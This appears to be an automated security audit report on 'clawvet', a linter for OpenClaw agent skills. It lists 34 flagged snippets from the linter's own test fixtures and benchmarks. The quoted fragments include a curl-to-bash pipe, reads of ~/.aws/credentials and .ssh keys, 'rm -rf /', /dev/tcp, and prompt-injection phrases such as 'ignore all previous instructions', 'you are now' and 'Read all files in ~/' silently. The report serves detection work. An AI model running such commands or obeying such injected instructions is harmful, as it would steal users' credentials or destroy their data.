ClawAudit verdict
clawvet
The skill is a security linter for OpenClaw skills that runs static analysis, metadata validation, and typosquat detection; it has no capabilities listed and the executionSinkDetected flag reflects npx usage for the linter itself, which is appropriate.
⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.
Automated static analysis — not a human review. ClawAudit flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.
Findings (34)
Pipe-to-shell pattern (curl | sh) — supply chain attack vector
apps/api/test/fixtures/malicious-stealer/SKILL.md · code · curl -sL https://raw.githubusercontent.com/totally-legit/helper/main/setup.sh |
Pipe to bash — executes piped content as shell commands
apps/api/test/fixtures/malicious-stealer/SKILL.md · code · | bash
Accesses AWS credentials file
benchmarks/malicious/credential-theft/SKILL.md · code · ~/.aws/credentials
Prompt injection — tries to override agent instructions
apps/api/test/api.test.ts · prose · downgraded · ignore all previous instructions
References child_process — can spawn system processes
benchmarks/malicious/rce-base64/SKILL.md · code · child_process
Pipe to sh — executes piped content as shell commands
apps/api/test/edge-cases.test.ts · prose · downgraded · |sh
Uses eval() — can execute arbitrary code
apps/api/test/edge-cases.test.ts · prose · downgraded · eval(
os.system/popen — direct OS command execution
apps/api/test/fixtures/obfuscated-payload/SKILL.md · code · os.system(
Recursive delete from root or home — destructive command
apps/api/test/edge-cases.test.ts · prose · downgraded · rm -rf /
Accesses .ssh directory
benchmarks/malicious/credential-theft/SKILL.md · code · .ssh/
Accesses cloud provider credentials
benchmarks/malicious/credential-theft/SKILL.md · code · ~/.aws
Instructs agent to read sensitive file paths
apps/api/test/fixtures/sneaky-injection/SKILL.md · prose · downgraded · Read all files in ~/
Bash /dev/tcp — raw TCP connection via shell
apps/api/test/regex-safety.test.ts · prose · downgraded · /dev/tcp/
Accesses sensitive system files
apps/api/test/regex-safety.test.ts · prose · downgraded · /etc/passwd
Uses exec() — may execute shell commands
benchmarks/malicious/obfuscated-shell/SKILL.md · code · exec(
Hex-encoded string — possible obfuscated payload
benchmarks/malicious/obfuscated-shell/SKILL.md · code · \x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73
Accesses sensitive environment variables
benchmarks/malicious/credential-theft/SKILL.md · code · process.env.ANTHROPIC_API_KEY
Dynamic import() — loads module at runtime
apps/api/src/routes/auth.ts · prose · downgraded · import("
Accesses system credential store
apps/api/test/edge-cases.test.ts · prose · downgraded · keychain
Possible prompt injection — attempts to redefine agent identity
apps/api/test/edge-cases.test.ts · prose · downgraded · you are now
Instructs covert action — may act without user awareness
apps/api/test/fixtures/sneaky-injection/SKILL.md · prose · downgraded · silently
Uses spawn() — can execute external programs
apps/api/test/regex-safety.test.ts · prose · downgraded · spawn(
References sudo — requests elevated privileges
apps/api/test/regex-safety.test.ts · prose · downgraded · sudo
String.fromCharCode — can build strings to evade detection
benchmarks/malicious/obfuscated-shell/SKILL.md · code · String.fromCharCode
References SSH/GPG private keys
apps/api/test/regex-safety.test.ts · prose · downgraded · SSH_KEY
Accesses Kubernetes config (may contain cluster credentials)
apps/api/test/regex-safety.test.ts · prose · downgraded · ~/.kube/config
Base64 decode (atob) — may hide malicious payloads
packages/shared/src/patterns.ts · prose · downgraded · atob(
setuid — privilege escalation mechanism
packages/shared/src/patterns.ts · prose · downgraded · setuid
Makes HTTP request to external URL
benchmarks/malicious/credential-theft/SKILL.md · code · fetch('https://
References agent memory files
apps/api/src/services/semantic-analysis.ts · prose · downgraded · MEMORY.md
References tunneling service
apps/api/test/edge-cases.test.ts · prose · downgraded · ngrok
Sets world-executable permissions
apps/api/test/regex-safety.test.ts · prose · downgraded · chmod 777
Base64 encoding/decoding
apps/api/test/regex-safety.test.ts · prose · downgraded · BASE64_DECODE
Popular HTTP library — network access
packages/cli/src/commands/scan.ts · prose · downgraded · Got
Why the tier is capped
Execution sink present in raw bytes (Hard Floor: class A/B/C/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.
Permissions & capabilities
Requires 2 system binaries. (1 elevated: npm).
Is this flag fair?
Thanks — recorded.